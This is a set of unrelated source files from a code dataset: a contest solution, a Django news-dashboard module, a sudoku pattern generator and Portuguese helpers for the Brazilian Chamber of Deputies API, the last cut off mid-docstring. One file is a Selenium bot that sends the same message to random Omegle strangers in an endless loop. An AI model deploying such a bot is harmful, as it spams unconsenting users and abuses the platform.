+{"seq_id":"14194288912","text":"#!/usr/local/bin/python3\n# -*- coding: utf-8 -*-\n\ndef solve():\n    n = int(input())\n\n    # i番目の人の勝ち数\n    win = []\n    for _ in range(n):\n        w = 0\n        for c in input():\n            if c == 'o':\n                w += 1\n        win.append(w)\n\n    ans = []\n    # まだi番目の人が残っているか\n    rem = [True for _ in range(n)]\n\n    for _ in range(n):\n        # 残っている人の中で一番成績がいい人を探す\n        max_win = -1\n        idx = -1\n        for i in range(n):\n            if rem[i] and max_win < win[i]:\n                max_win = win[i]\n                idx = i\n\n        ans.append(idx+1)\n        rem[idx] = False\n\n    return ' '.join(map(str,ans))\n\ndef main():\n    cases = int(input())\n    for _ in range(cases):\n        print(solve())\n\nif __name__ == '__main__':\n    main()\n","repo_name":"AI-comp/Problems2017","sub_path":"wncs/python-correct/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"22734245367","text":"import selenium\r\nimport time\r\nfrom selenium import webdriver\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import StaleElementReferenceException\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions\r\nfrom plyer import notification\r\nimport msvcrt as m\r\n\r\n\r\ndef notify():\r\n    notification.notify(\r\n        title='Bot requires Attention',\r\n        message='Bot stuck',\r\n        app_icon=None,\r\n        timeout=60,\r\n    )\r\n\r\n\r\n\r\ndriver = webdriver.Chrome(\r\n    r'C:\\\\Users\\\\Rajeswar Sharma\\\\Documents\\\\python\\\\chromedriver_win32\\\\chromedriver')\r\ndriver.get(\"https://www.omegle.com/\")\r\n\r\nXpath_text_button = '//img[@id=\"textbtn\"]'\r\nXpath_new_connect = '//button[@class=\"disconnectbtn\"]'\r\nXpath_new_message = '//textarea[@class=\"chatmsg\"]'\r\nXpath_sent_btn = '//button[@class=\"sendbtn\"]'\r\ntags_class_name = '//input[@class=\"newtopicinput\" and @type=\"text\"]'\r\n\r\nmsg = \"CUSTOM message\"\r\ndriver.get(\"https://www.omegle.com/\")\r\ntags_object = driver.find_elements_by_xpath(tags_class_name)\r\ntags_object[0].send_keys(\"indian\\nindia\\ndesi\\ndelhi\\n\")\r\ntime.sleep(2)\r\nignored_exceptions = (NoSuchElementException, StaleElementReferenceException,)\r\n\r\ntext_mode_button = driver.find_element_by_xpath(Xpath_text_button)\r\ntext_mode_button.click()\r\n\r\ncounter = 0\r\nfail = 0\r\n\r\nprint(\"Elements detected\")\r\nwhile True:\r\n    try:\r\n        time.sleep(2)\r\n        new_connect_button = WebDriverWait(driver, 1000, ignored_exceptions=ignored_exceptions).until(\r\n            expected_conditions.presence_of_element_located((By.XPATH, Xpath_new_connect)))\r\n        sent_btn = driver.find_element_by_xpath(Xpath_sent_btn)\r\n        if driver.find_element_by_class_name('chatmsg') == 0:\r\n            print(\"chatmsg not found\")\r\n            new_connect_button.click()\r\n            print(\"Clicked on new connection\")\r\n        else:\r\n\r\n            new_message = WebDriverWait(driver, 1000, ignored_exceptions=ignored_exceptions).until(\r\n                expected_conditions.presence_of_element_located((By.CLASS_NAME, \"chatmsg\")))\r\n            time.sleep(3)\r\n            new_message.send_keys(msg)\r\n            sent_btn.click()\r\n            time.sleep(2)\r\n            new_connect_button.click()\r\n            new_connect_button = WebDriverWait(driver, 1000, ignored_exceptions=ignored_exceptions).until(\r\n                expected_conditions.presence_of_element_located((By.XPATH, Xpath_new_connect)))\r\n            time.sleep(1)\r\n            new_connect_button.click()\r\n            counter += 1\r\n            fail = 0\r\n            print(counter)\r\n            new_connect_button.click()\r\n    except:\r\n        fail += 1\r\n        if fail >= 20:\r\n            notify()\r\n            fail = 0\r\n        new_connect_button.click()\r\n\r\n    finally:\r\n        continue\r\n","repo_name":"RajeswarSharma/OmegleBot","sub_path":"omegel.py","file_name":"omegel.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23406713085","text":"from typing import Any, Dict\n\nfrom django.contrib.auth import authenticate, login\nfrom django.http import HttpRequest, HttpResponse\n\n# Create your views here.\nfrom django.shortcuts import redirect, render\nfrom django.urls import reverse_lazy\nfrom django.views.generic import CreateView, ListView, UpdateView\n\nfrom apps.accounts.models import Author\nfrom apps.core.utils import GetObjectMixin\nfrom apps.dashboard.forms import ArticleForm, LoginForm, SignUpForm\nfrom apps.news.models import Article, Category\n\n\ndef get_statistics() -> dict[str, Any] | None:\n    data = {'total_published': Article.objects.filter(is_published=True).count()}\n    data['total_pending'] = Article.objects.filter(is_published=False).count()\n    data['total_authors'] = Author.objects.count()\n    data['total_categories'] = Category.objects.count()\n    return data\n\n\nclass ArticleListView(ListView):\n    model = Article\n    template_name = 'home/index.html'\n    context_object_name = 'articles'\n    ordering = ['-published_date']\n    paginate_by = 5\n\n    def get_context_data(self, **kwargs: Any) -> Dict[str, Any]:\n        context = super().get_context_data(**kwargs)\n        context.update(get_statistics())\n        return context\n\n\nclass ArticleCreateUpdateView(GetObjectMixin, CreateView, UpdateView):\n    model = Article\n    template_name = 'home/create-update-article.html'\n    form_class = ArticleForm\n    pk_url_kwarg = 'article_id'\n    success_url = reverse_lazy('articles_list')\n\n    def get_object(self, queryset=None):\n        try:\n            return super().get_object(queryset)\n        except AttributeError:\n            return None\n\n    def get(self, request: HttpRequest, *args, **kwargs) -> HttpResponse:\n        self.object = None\n        article_id = kwargs.get(\"article_id\")\n        if article_id:\n            self.object = self.get_object_by_model(Article, article_id)\n            self.template_name = 'home/update-article.html'\n        else:\n            self.template_name = 'home/create-article.html'\n        return super().get(request, *args, **kwargs)\n\n    def form_valid(self, form) -> HttpResponse:\n        form.instance.author = self.request.user.author\n        return super().form_valid(form)\n\n    def get_context_data(self, **kwargs: Any) -> Dict[str, Any]:\n        context = super().get_context_data(**kwargs)\n        context.update(get_statistics())\n        return context\n\n\ndef login_view(request: HttpRequest) -> HttpResponse:\n    print('got here')\n    form = LoginForm(request.POST or None)\n\n    msg = None\n\n    if request.method == \"POST\":\n\n        if form.is_valid():\n            username = form.cleaned_data.get(\"username\")\n            password = form.cleaned_data.get(\"password\")\n            user = authenticate(username=username, password=password)\n            if user is not None:\n                login(request, user)\n                return redirect(\"/\")\n            else:\n                msg = 'Invalid credentials'\n        else:\n            msg = 'Error validating the form'\n\n    return render(request, \"accounts/login.html\", {\"form\": form, \"msg\": msg})\n\n\ndef register_user(request: HttpRequest) -> HttpResponse:\n    msg = None\n    success = False\n\n    if request.method == \"POST\":\n        form = SignUpForm(request.POST)\n        if form.is_valid():\n            form.save()\n            username = form.cleaned_data.get(\"username\")\n            raw_password = form.cleaned_data.get(\"password1\")\n            user = authenticate(username=username, password=raw_password)\n\n            msg = 'User created - please <a href=\"/login\">login</a>.'\n            success = True\n\n        else:\n            msg = 'Form is not valid'\n    else:\n        form = SignUpForm()\n\n    return render(request, \"accounts/register.html\", {\"form\": form, \"msg\": msg, \"success\": success})\n","repo_name":"tricelex/cocoon-news-project","sub_path":"apps/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15379476111","text":"def row_to_column(row):\n    column = [[] for i in range(3)]\n    for r in row:\n        for ii, char in enumerate(r):\n            column[ii].append(char)\n    return column\n\ndef create_base_three():\n    line = [i for i in range(3)]\n    base = []\n    for a in range(3):\n        base.append(create_order_row(line))\n        line = reorder(line)\n    return base\n\ndef create_order_row(line):\n    return [line for i in range(3)]\n\ndef reorder(lis):\n    return [lis[-1]]+lis[:-1]\n\ndef create_options_from_base(base):\n    options = []\n    for i in range(3):\n        current = list(base)\n        for ii in range(2):\n            current[i] = reorder(current[i])\n            options.append(list(current))\n    return options + [base]\n\ndef create_rows():\n    base_three = create_base_three()\n    all = []\n    for base in base_three:\n        all += create_options_from_base(base)\n    return all\n\ndef create_columns():\n    return [row_to_column(i) for i in create_rows()]\n\noptions = open(\"options.txt\", \"w\")\noptions.write(str(create_rows()))\noptions.write(\"\\n\")\noptions.write(str(create_columns()))\noptions.close()","repo_name":"gbucar/Sudoku","sub_path":"new_possible.py","file_name":"new_possible.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70646068906","text":"'''\n\nEsse arquivo contém funções auxiliares para a coleta de dados\nda matéria que foram separadas por questão de legibilidade.\n\nOBSERVAÇÕES\n\n>> O sufixo _, como em 'data_', indica que a variável\n   em questão é uma cópia feita dentro do escopo de uma\n   função para evitar alterações inplace indesejadas (ou,\n   no caso de 'id_', para diferenciar de uma palavra reservada)\n\n'''\n\n####################\n### DEPENDÊNCIAS ###\n####################\n#           ||\n#    (\\__/) ||\n#    ( O.O) ||\n#    / 　  づ\n\n\n# Análise de dados\nimport pandas as pd\nfrom pandas.api.types import is_string_dtype\nfrom pandas.api.types import is_numeric_dtype\n\n# Métodos matemáticos\nimport numpy as np\n\n# Envio de requisições\nimport requests\n\n# Trabalhar com formatos específicos de arquivo\nimport json\n\n# Para fazer deep copys e evitar mutar dicionários inplace\nimport copy\n\n# Regex\nimport re\n\n###############\n### CLASSES ###\n###############\n#           ||\n#    (\\__/) ||\n#    ( O.O) ||\n#    / 　  づ\n\n\nclass EmptyRequest(Exception):\n  pass\n  '''\n  Exceção que deve ser levantada quando\n  a requisição feita pelo usuário não\n  retornar dados válidos.\n  '''\n\nclass InvalidRequest(Exception):\n    \n    '''\n    >> DESCRIÇÃO\n    \n    Exceção que deve ser levantada quando o tipo de\n    requisição feito não pode ser realizado na função.\n    \n    '''\n    pass\n\nclass AmbiguousRequest(Exception):\n    \n    '''\n    >> DESCRIÇÃO\n    \n    Exceção que deve ser levantada quando a requisição\n    que devia retornar um único item retorna mais de \n    um valor.\n    \n    '''\n    pass\n\nclass NotImplemented(Exception):\n  '''\n\n  Exceção que deve ser levantada quando\n  o usuário tenta acessar uma funcionalidade\n  ainda não implementada no módulo. Geralmente\n  aparece quando se tenta fazer tarefas com XML.\n\n  '''\n\nclass InvalidOperation(Exception):\n  '''\n  Exceção que deve ser levantada quando o usuário\n  solicita uma operação não implementada ou impossível.\n  Por exemplo, quando pede para retornar um dataframe de\n  um objeto que não pode ser convertido.\n  '''\n  pass\n\nclass NoOrientation(Exception):\n\n  '''\n  Exceção que deve ser levantada quando o usuário pede para\n  calcular a taxa de apoio ao governo por partido em uma\n  votação na qual não houve orientação da situação.\n  '''\n  pass\n\nclass ApiError(Exception):\n  '''\n  Exceção que deve ser levantada quando a API retorna uma\n  mensagem de status 500, descrita como 'Erro no servidor'.\n  Ocorre em votações para as quais não há dados.\n  '''\n  pass\n\n##########################\n### FUNÇÕES AUXILIARES ###\n###  PARA REQUISIÇÕES  ###\n##########################\n#           ||\n#    (\\__/) ||\n#    ( O.O) ||\n#    / 　  づ\n\n\ndef type_check(var, var_type):\n    \n    '''\n    >> DESCRIÇÃO:\n    \n    Checa se 'var' é do tipo 'var_type'.\n    Caso contrário, faz o cast.\n    Retorna o valor, transformado ou não.\n    \n    >> PARÂMETROS\n    \n    var -> A variável cujo tipo desejamos checar\n    \n    var_type -> O tipo que desejamos checar..\n    \n    '''\n    \n    try:\n        \n        if not isinstance(var, var_type):\n            var = var_type(var)\n\n        return var\n    \n    except ValueError as e:\n        raise(e)\n\ndef is_req_type_valid(req_type, valid_req_list):\n    \n    '''\n    >> DESCRIÇÃO:\n    Checa se o tipo de requisição é permitido\n    dentro da função específica. Retorna um\n    valor booleano.\n    \n    >> PARÂMETROS\n    req_type-> O tipo da requisição em formato string.\n    \n    valid_req_list -> Uma lista dos tipos de requisição\n    válidos para a função específica.\n    '''\n    \n    if req_type in valid_req_list:\n        return True\n    \n    else:\n        return False\n\ndef build_url(url, req_id, req_type):\n    \n    '''\n    >> DESCRIÇÃO\n    Constrói a url que deve ser enviada para a API\n    de acordo com o valor de req_type. Se for passada\n    uma string válida, ela é adicionada ao fim da url.\n    Caso contrário, termina a requisição apenas com o id.\n    \n    \n    >> PARÂMETROS\n    url -> A url base da API, que será complementada como retorno\n    da função.\n    \n    req_id -> O id da requisição em questão\n    \n    req_type -> Que tipo de requisição está sendo feita, nos moldes\n    definidos pela documentação da API da Câmara. Sempre usar um\n    tipo de requisição consistente com a URL passada. Por exemplo, para\n    a URL \"https://dadosabertos.camara.leg.br/api/v2/deputados/\", as \n    opções seriam 'despesas', 'discursos', 'eventos', 'orgaos' ou 'mesa'.\n    Verificar documentação em \"https://dadosabertos.camara.leg.br/swagger/api.html\".\n    '''\n    \n    if req_type != '':\n        url += (req_id + '/' + req_type)\n        \n    else:\n        url += req_id\n        \n    return url\n\ndef make_request(url):\n    \n    '''\n    >> DESCRIÇÃO\n    \n    Define o header com o formato de resposta desejado e\n    faz a requisição para a url, usando o pacote Requests.\n    \n    \n    >> PARÂMETROS\n    \n    url -> A url para a qual será feita a requisição, \n    já composta com os parâmetros necessários\n\n    '''\n    \n    headers = {\n            'accept':'application/json'\n        }    \n\n    data = requests.get(url, headers=headers)\n    \n    return data.json()\n\ndef go_through_vote_pages(id_, data):\n  '''\n  >> DESCRIÇÃO\n\n  Vai, página por página, salvando os dados referentes à votação,\n  que tem um limite máximo de cem usuários por página.\n\n\n  >> PARÂMETROS\n  id_ -> O id da votação\n\n  data -> O primeiro objeto json, que contém também os links para\n  as demais páginas.\n\n  '''\n\n  # Salva informações que constam apenas no primeiro objeto,\n  # assim é possível fazer a reinserção posteriormente\n  data_hora = data['dataHora'].copy()\n  prop_id = data['idProposicao']\n\n  whole_data = data['dados'].copy()\n\n  # Acessa a parte do objeto que contém todos \n  all_urls = data['links']\n\n  # Usa gerador para encontar item cuja chave 'rel' retorna 'self'\n  # Abaixo, é aplicado o mesmo princípio com valores diferentes\n  this_url = next(item for item in all_urls if item['rel'] == 'self')['href']\n  next_url = next(item for item in all_urls if item['rel'] == 'next')['href']\n  last_url = next(item for item in all_urls if item['rel'] == 'last')['href']\n\n  # Passa para a próxima página até encontrar o final, expandindo o objeto no processo\n  while this_url != last_url:\n\n    # Avança de página\n    this_url = next_url\n\n    #print('Current url:', this_url)\n\n    # Faz e formata a requisição\n    new_data = make_request(this_url)\n\n    # Atualiza as urls possíveis\n    all_urls = new_data['links']\n\n    # Pega apenas os dados de interesse\n    new_data = new_data['dados']\n\n    whole_data.extend(new_data)\n\n    # Enquanto houver uma nova página possível, pega o novo endereço\n    if 'next' in [ item['rel'] for item in all_urls ]:\n      next_url = next(item for item in all_urls if item['rel'] == 'next')['href']\n\n  # Adiciona identificador\n  whole_data = { id_ : {\n      'dados'        : whole_data,\n      'dataHora'     : data_hora,\n      'idProposicao' : prop_id\n     }\n  }\n\n  # Retorna dados expandidos\n  return whole_data\n\ndef get_vote_date(id_):\n\n  '''\n  >> DESCRIÇÃO:\n\n  Função que faz uma requisição a mais, a mesma\n  que make_vote_request(id_, req_type = ''), mas\n  não retorna um objeto json completo e sim apenas\n  a data do evento. Isso é necessário porque quando\n  uma solicitação do tipo 'votos' é feita, a data\n  não está no objeto retornado.\n\n  >> PARÂMETROS\n\n  id_ -> O id da votação\n\n  '''\n\n\n  data =  make_vote_request(id_, req_type = '')\n\n  data = data['dados']\n\n  data_hora_inicio = data['dataHoraInicio']\n  data_hora_fim    = data['dataHoraFim']\n\n  return {\n            'dataHoraInicio':data_hora_inicio,\n            'dataHoraFim':data_hora_fim,\n         }\n\ndef get_prop_id(id_):\n\n  '''\n  >> DESCRIÇÃO:\n\n  A partir do identificador da votação, recupera \n  o identificador da proposição relacionada\n\n  >> PARÂMETROS\n\n  id_ -> O id da votação\n\n  '''\n\n  data =  make_vote_request(id_, req_type = '')\n\n  data = data['dados']['uriProposicaoPrincipal']\n\n  reg_exp = \".*proposicoes/(\\d+)\"\n\n  data = re.search(reg_exp, data)[1]\n\n  return data\n\ndef is_content_there(data):\n  '''\n  >> DESCRIÇÃO\n  A função checa se a resposta da API contém dados\n  ou se é um código 404, inserido quando a URL não\n  contém dados específicos. Algumas votações, mesmo\n  contendo um id, não tem informações detalhadas.\n\n  >> PARÂMETROS\n  data -> Um objeto retornado de make_request(url)\n  '''\n\n  if 'status' in data.keys():    \n    if data['status'] == 404 or data['status'] == 500:\n      return False\n\n  else:\n      return True\n\n###############################\n### REQUISIÇÕES ESPECÍFICAS ###\n###############################\n#           ||\n#    (\\__/) ||\n#    ( O.O) ||\n#    / 　  づ\n\n\n\ndef find_proposition(no, year, prop_type = None, which_data = None):\n    '''\n    >> DESCRIÇÃO\n    \n    Com base no número, ano e tipo de um projeto de lei,\n    encontra o id ou a descrição da proposição.\n    \n    >> PARÂMETROS\n    \n    prop_type -> Tipo da proposição, em formato string.\n    Pode ser qualquer uma das descritas na url abaixo,\n    no campo 'sigla':\n    https://dadosabertos.camara.leg.br/api/v2/referencias/tiposProposicao\n    Alguns exemplos comuns:\n    - 'PEC' (Proposta de Emenda à Constituição)\n    - 'DTQ' (Destaque)\n    - 'PL' ('Projeto de lei')\n    \n    no -> Número da proposição, em formato string.\n    \n    year -> Ano da proposição, em formato string.\n    \n    dataLabel -> Que tipo de dado deve ser puxado do json resultante da requisição.\n    Por padrão, retorna o id. Outras possibilidades úteis são:\n    - 'ementa'\n    - 'idTipo'\n    '''\n    \n    # Checa se tipos são corretos\n    \n    no = type_check(no, str)\n    year = type_check(year, str)\n    \n    # Caso tenha sido especificado o tipo da proposição\n    if prop_type:\n        \n        # Verifica o tipo\n        prop_type = type_check(prop_type, str)\n        \n        # Chega se prop_type está em uppercase, como deve ser\n        if not prop_type.isupper():\n            prop_type = prop_type.upper()\n    \n        # Checa validade do tipo de proposição\n        \n        valid_prop_types = [\n            'AA', 'ADD', 'ANEXO', 'APJ', 'ATA', 'ATC', 'ATOP', 'AV', 'AVN', 'CAC', 'CAE', 'CCN', 'COI', 'CON', \n            'CRVITAEDOC', 'CST', 'CVO', 'CVR', 'DCR', 'DEC', 'DEN', 'DIS', 'DOC', 'DOCCPI', 'DTQ', 'DVT', 'EAG',\n            'EMA', 'EMC', 'EMC-A', 'EMD', 'EML', 'EMO', 'EMP', 'EMPV', 'EMR', 'EMRP', 'EMS', 'EPP', 'ERD', 'ERD-A', \n            'ERR', 'ESB', 'ESP', 'EXP', 'IAN', 'INA', 'INC', 'MAD', 'MAN', 'MCN', 'MMP', 'MPV', 'MSC', 'MSF', 'MSG', \n            'MST', 'MTC', 'NIC', 'NINF', 'OBJ', 'OF', 'OF.', 'OFE', 'OFJ', 'OFN', 'OFS', 'OFT', 'P.C', 'PAR', 'PARF',\n            'PCA', 'PDA', 'PDC', 'PDN', 'PDS', 'PEA', 'PEC', 'PEP', 'PES', 'PET', 'PFC', 'PIN', 'PL', 'PLC', 'PLN', \n            'PLP', 'PLS', 'PLV', 'PPP', 'PPR', 'PR/CNJ', 'PR/CNMP', 'PRA', 'PRC', 'PRF', 'PRL', 'PRN', 'PRO', 'PRP', \n            'PRR', 'PRST', 'PRT', 'PRV', 'PRVP', 'PSS', 'R.C', 'RAT', 'RCM', 'RCP', 'RDF', 'RDV', 'REC', 'REL', 'REM', \n            'REP', 'REQ', 'RFP', 'RIC', 'RIN', 'RLF', 'RLP', 'RLP(R)', 'RLP(V)', 'RPA', 'RPL', 'RPLE', 'RPLOA', 'RPR', \n            'RQA', 'RQC', 'RQN', 'RQP', 'RRC', 'RRL', 'RST', 'RTV', 'SAP', 'SBE', 'SBE-A', 'SBR', 'SBT', 'SBT-A', 'SDL', \n            'SGM', 'SIP', 'SIT', 'SLD', 'SOA', 'SOR', 'SPA', 'SPA-R', 'SPP', 'SPP-R', 'SRAP', 'SRL', 'SSP', 'STF', 'SUC', \n            'SUG', 'SUM', 'TER', 'TVR', 'VTS'\n        ]\n        \n        if not is_req_type_valid(prop_type, valid_prop_types):\n            err_message = '''\n            A requisição é inválida para essa função. \n            \n            Por favor, insira uma das opções da lista a seguir realizar a consulta por tipo de proposição:\n            \n            ''' + str(valid_prop_types)\n            raise InvalidRequest(err_message)\n            \n        # Caso seja válido, define a URL\n        \n        url = \"https://dadosabertos.camara.leg.br/api/v2/proposicoes?siglaTipo={prop_type}&numero={no}&ano={year}&ordem=ASC&ordenarPor=id\".format( \n            prop_type = prop_type, no = no, year = year \n        )\n        \n    # Caso o valor de prop_type seja None, é seguro ignorar\n        \n    else:\n        \n        url = \"https://dadosabertos.camara.leg.br/api/v2/proposicoes?numero={no}&ano={year}&ordem=ASC&ordenarPor=id\".format( \n            no = no, year = year \n        )\n        \n    # Faz requisição com a url definida acima, qualquer que seja\n    \n    data = make_request(url)\n\n    # Adiciona chegagem para contornar erro do servidor da Câmara\n    if not is_content_there(data):\n      err_message = \"A API retornou erros de status 500 ou 404. \\\\_(ツ)_/¯\"\n      raise ApiError(err_message)\n\n    # Checa para ver se a consulta foi de fato única\n    if len( data['dados'] ) != 1:\n        err_message = '''\n        A requisição encontrou mais de um resultado para os parâmetros passados.\n        Verifique se há redundâncias na solicitação. Considere especificar o\n        tipo de proposição, caso não tenha o feito.\n        '''\n        raise AmbiguousRequest(err_message)\n\n    if len( data['dados'] )== 0:\n      err_message = \"Não foi encontrada matéria alguma para estes valores. Verifique se os parâmetros estão corretos.\"\n        \n\n    # Caso tenha sido especificado um tipo de dado para extrair\n    if which_data != None:\n      # Caso tenha sido, retorna o id \n      data = data['dados'][0][which_data]\n    \n    return data\n\ndef make_proposition_request(id_, req_type = ''):\n    \n    '''\n    >> DESCRIÇÃO\n    Função genérica que faz uma requisição para a API da\n    Câmara e retorna os dados no formato especificado.\n    \n    >> PARÂMETROS\n    id_no -> Número identificador da proposição\n    \n    req_type -> Tipo de consulta que se deseja fazer.\n    Pode ser um dos seguintes valores, cujos retornos\n    correspondem aos formatos especificados na documentação\n    da API (https://dadosabertos.camara.leg.br/swagger/api.html)\n        - 'autores'\n        - 'relacionadas'\n        - 'tramitacoes'\n        - 'votacoes'\n  \n    Caso nenhum valor seja determinado, a consulta é feita apenas \n    com o id, que retorna dados gerais sobre a proposição.\n    '''\n\n    # Transforma os valores passados para string, se necessário\n    id_ = type_check(id_, str)\n    \n    # Checa se a requisição está entre as permitidas para esta função\n    valid_req_list = ['autores', 'relacionadas', 'tramitacoes', 'votacoes', '']\n    if not is_req_type_valid(req_type, valid_req_list):\n        \n        # TO DO - Será que existe uma maneira de colocar essa mensagem de erro na própria classe?\n        \n        err_message = '''\n        A requisição é inválida para essa função. Por favor, insira uma das seguintes opções para fazer a consulta de dados sobre as proposições:\n            - \"autores\"\n            - \"relacionadas\"\n            - \"tramitacoes\"\n            - \"votacoes\"\n        Você também pode deixar o parâmetro 'req_type' em branco para ver mais detalhes sobre a proposição desejada.\n        '''\n        raise InvalidRequest(err_message)\n        \n            \n    # Define dados para fazer a requisição\n    url = \"https://dadosabertos.camara.leg.br/api/v2/proposicoes/\" \n    url = build_url( url, id_, req_type )\n        \n    # Faz a requisição\n    data = make_request(url)\n\n    # Adiciona chegagem para contornar erro do servidor da Câmara\n    if not is_content_there(data):\n      err_message = \"A API retornou erros de status 500 ou 404. \\\\_(ツ)_/¯\"\n      raise ApiError(err_message)\n\n\n    # Checa se há itens na lista de votações\n    if req_type == 'votacoes' and len( data['dados'] ) < 1:\n      err_message = \"A requisição não encontrou registros de nenhuma votação para esse id de proposição.\"\n      raise EmptyRequest(err_message)\n        \n    # Retorna valores\n    return data\n\ndef make_vote_request(id_, req_type = ''):\n    \n    '''\n    >> DESCRIÇÃO\n    \n    A partir do id de uma votação específica,\n    que pode ser obtido ao executar prop_votes()\n    ou de outra maneira, retorna os detalhes \n    \n    >> PARÂMETROS\n    \n    id_ -> O número identificador da votação\n    req_type -> Tipo de consulta que se deseja fazer.\n    Pode ser o seguinte valore, cujo retornos\n    correspondem aos formatos especificados na documentação\n    da API (https://dadosabertos.camara.leg.br/swagger/api.html)\n        - 'votos'\n  \n    Caso nenhum valor seja determinado, a consulta é feita apenas \n    com o id, que retorna dados gerais sobre a proposição.\n    '''\n                      \n    # Transforma os valores passados para string, se necessário\n    id_ = type_check(id_, str)\n    \n    # Checa se a requisição está entre as permitidas para esta função\n    valid_req_list = ['votos', '']\n    if not is_req_type_valid(req_type, valid_req_list):\n        \n        # TO DO - Será que existe uma maneira de colocar essa mensagem de erro na própria classe?\n        \n        err_message = '''\n        A requisição é inválida para essa função. Por favor, insira uma das seguintes opções para fazer a consulta de dados sobre as votações:\n            - \"votos\"\n        Você também pode deixar o parâmetro 'req_type' em branco para ver mais detalhes sobre a proposição desejada.\n        '''\n        raise InvalidRequest(err_message)\n        \n            \n    # Define dados para fazer a requisição\n    url = \"https://dadosabertos.camara.leg.br/api/v2/votacoes/\" \n    url = build_url( url, id_, req_type )\n\n    # Adiciona complemento da url para pegar todos os votos possíveis,\n    # caso a requisicão seja para 'votos'.\n    # Aparentemente não faz diferença nenhuma, pode ser que a API\n    # da Câmara ainda não tenha implementado essa funcionalidade\n    if req_type == 'votos':\n      url += \"?itens=513\"\n\n    # Faz a requisição\n    data = make_request(url)\n\n    # Adiciona chegagem para contornar erro do servidor da Câmara\n    if not is_content_there(data):\n      err_message = \"A API retornou erros de status 500 ou 404. \\\\_(ツ)_/¯\"\n      raise ApiError(err_message)\n\n    # Adiciona os dados de data e hora, se preciso\n    if req_type == 'votos':\n\n      data['dataHora']     = get_vote_date(id_)\n      data['idProposicao'] = get_prop_id(id_)\n\n        \n    # Retorna valores\n    return data\n\n\n################################\n###    FUNÇÕES AUXILIARES    ###\n###  PROCESSAMENTO DE DADOS  ###\n################################\n#           ||\n#    (\\__/) ||\n#    ( O.O) ||\n#    / 　  づ\n\ndef find_all_vote_types(id_, data):\n\n  '''\n  >> DESCRIÇÃO\n\n  Diante de um objeto json-like, retornado\n  por get_all_votes(..., return-df = False),\n  itera por todos os itens e retorna um array \n  com os tipos de voto (\"Abstenção\", \"Ausência\", \n  \"Obstrução\", \"Sim\", \"Não\", etc) que ocorream\n  naquela votação.\n\n  >> PARÂMETROS:\n\n  id -> O id da votação\n\n  data -> O objeto json-like retornado por\n  get_all_votes(return_df = False)\n\n\n  '''\n  id_ = type_check(id_, str)\n\n  vote_types = [ ]\n  \n  for item in data[id_]['dados']:\n    \n    if item[ 'voto' ] not in vote_types:\n\n      vote_types.append( item['voto'] )\n\n  return vote_types\n\ndef find_all_parties(id_, data):\n\n  '''\n  >> DESCRIÇÃO\n\n  Diante de um objeto json-like, retornado\n  por get_all_votes(..., return-df = False),\n  itera por todos os itens e retorna um array \n  com os partidos envovlidos naquela votação.\n\n  >> PARÂMETROS:\n\n  id -> O id da votação\n\n  data -> O objeto json-like retornado por\n  get_all_votes(return_df = False)\n\n\n  '''\n  id_ = type_check(id_, str)\n\n  all_parties = [ ]\n  \n  for item in data[id_]['dados']:\n    \n    if item['parlamentar']['siglaPartido'] not in all_parties:\n\n      all_parties.append( item['parlamentar']['siglaPartido'] )\n\n  return all_parties\n\ndef get_json_vote_count(id_, data):\n\n  '''\n  >> DESCRIÇÃO\n\n  Soma os votos de todos os parlamentares\n  de cada partido em determinada votação\n  quando o input for um objeto json-like\n\n  >> PARÂMETROS\n\n  id_ -> O id da votação\n\n  data -> Um objeto json-like retornado por\n  get_all_votes()\n\n  '''\n\n  id_ = type_check(id_, str)\n\n  data_ = copy.deepcopy(data) # Deepcopy porque vamos alterar uma parte específica do dicionário\n\n  # Novo json\n  new_data = [ ]\n\n  # Pega todos os votos que ocorreram naquela votação\n  vote_types = find_all_vote_types(id_, data)\n  all_parties = find_all_parties(id_, data)\n\n  # Começa a contar os votos que ocorreram e preecher o novo objeto\n  for party in all_parties:\n\n    # Cria a estrutura externa do json\n    sub_object = {}\n    sub_object['partido'] = party\n    sub_object['votacao'] = {}\n\n    # Adiciona detalhes sobre votação usando um dict comprehension que será preencido abaixo\n    sub_object['votacao'] = { vote_type : 0 for vote_type in vote_types }\n\n    # Adiciona objeto para a lista recém criada\n    new_data.append(sub_object)\n\n  # Faz a contagem da ocorrência de cada voto:\n\n  # Para cada parlamentar\n  for item in data_[id_]['dados']:\n\n    # Pegue os dados\n    party = item['parlamentar']['siglaPartido']\n    vote = item['voto']\n\n    # Procure o partido correto\n    for index, obj in enumerate(new_data):\n\n      # Ao encontrar...\n      if obj['partido'] == party:\n\n      # ...adicione um na contagem daquele voto específico para o partido\n        new_data[index]['votacao'][vote] += 1\n\n  # Adiciona novamente o índice na parte exterior do objeto\n  data_[id_]['dados'] = new_data.copy()\n\n  return data_\n\ndef normalize_json_vote_count(id_, data):\n\n  '''\n  \n  >> DESCRIÇÃO\n\n  Recebe um objeto json-like, retornado pela\n  função get_json_vote_count(), e transforma\n  os valores absolutos em percentuais. Retorna\n  uma cópia do objeto.\n\n  >> PARÂMETROS\n\n  id_ -> O id da votação\n\n  data -> Objeto json-like retornado pela função\n  get_json_vote_count()\n\n  '''\n\n\n  data_ = copy.deepcopy(data)\n  #print(data)\n\n  for index, item in enumerate(data_[id_]['dados']):\n\n    #print(item)\n\n    # Acessa o dicionário com os votos\n    vote_count = item['votacao']\n\n    # Soma para descobrir o total de votos\n    total = sum( vote_count.values() )\n\n    # Para cada tipo de voto, faz o cálculo de percentual e altera inplace\n    for key, value in vote_count.items():\n      data_[id_]['dados'][index]['votacao'][key] = round ( value / total, 4)\n\n  return data_\n\ndef pandas_count_normalize(df):\n\n  '''\n  >> DESCRIÇÃO\n\n  Função que transforma os valores\n  de cada célula em percentuais relativos ao total\n  da linha.\n\n  >> PARÂMETROS\n\n  df -> O dataframe 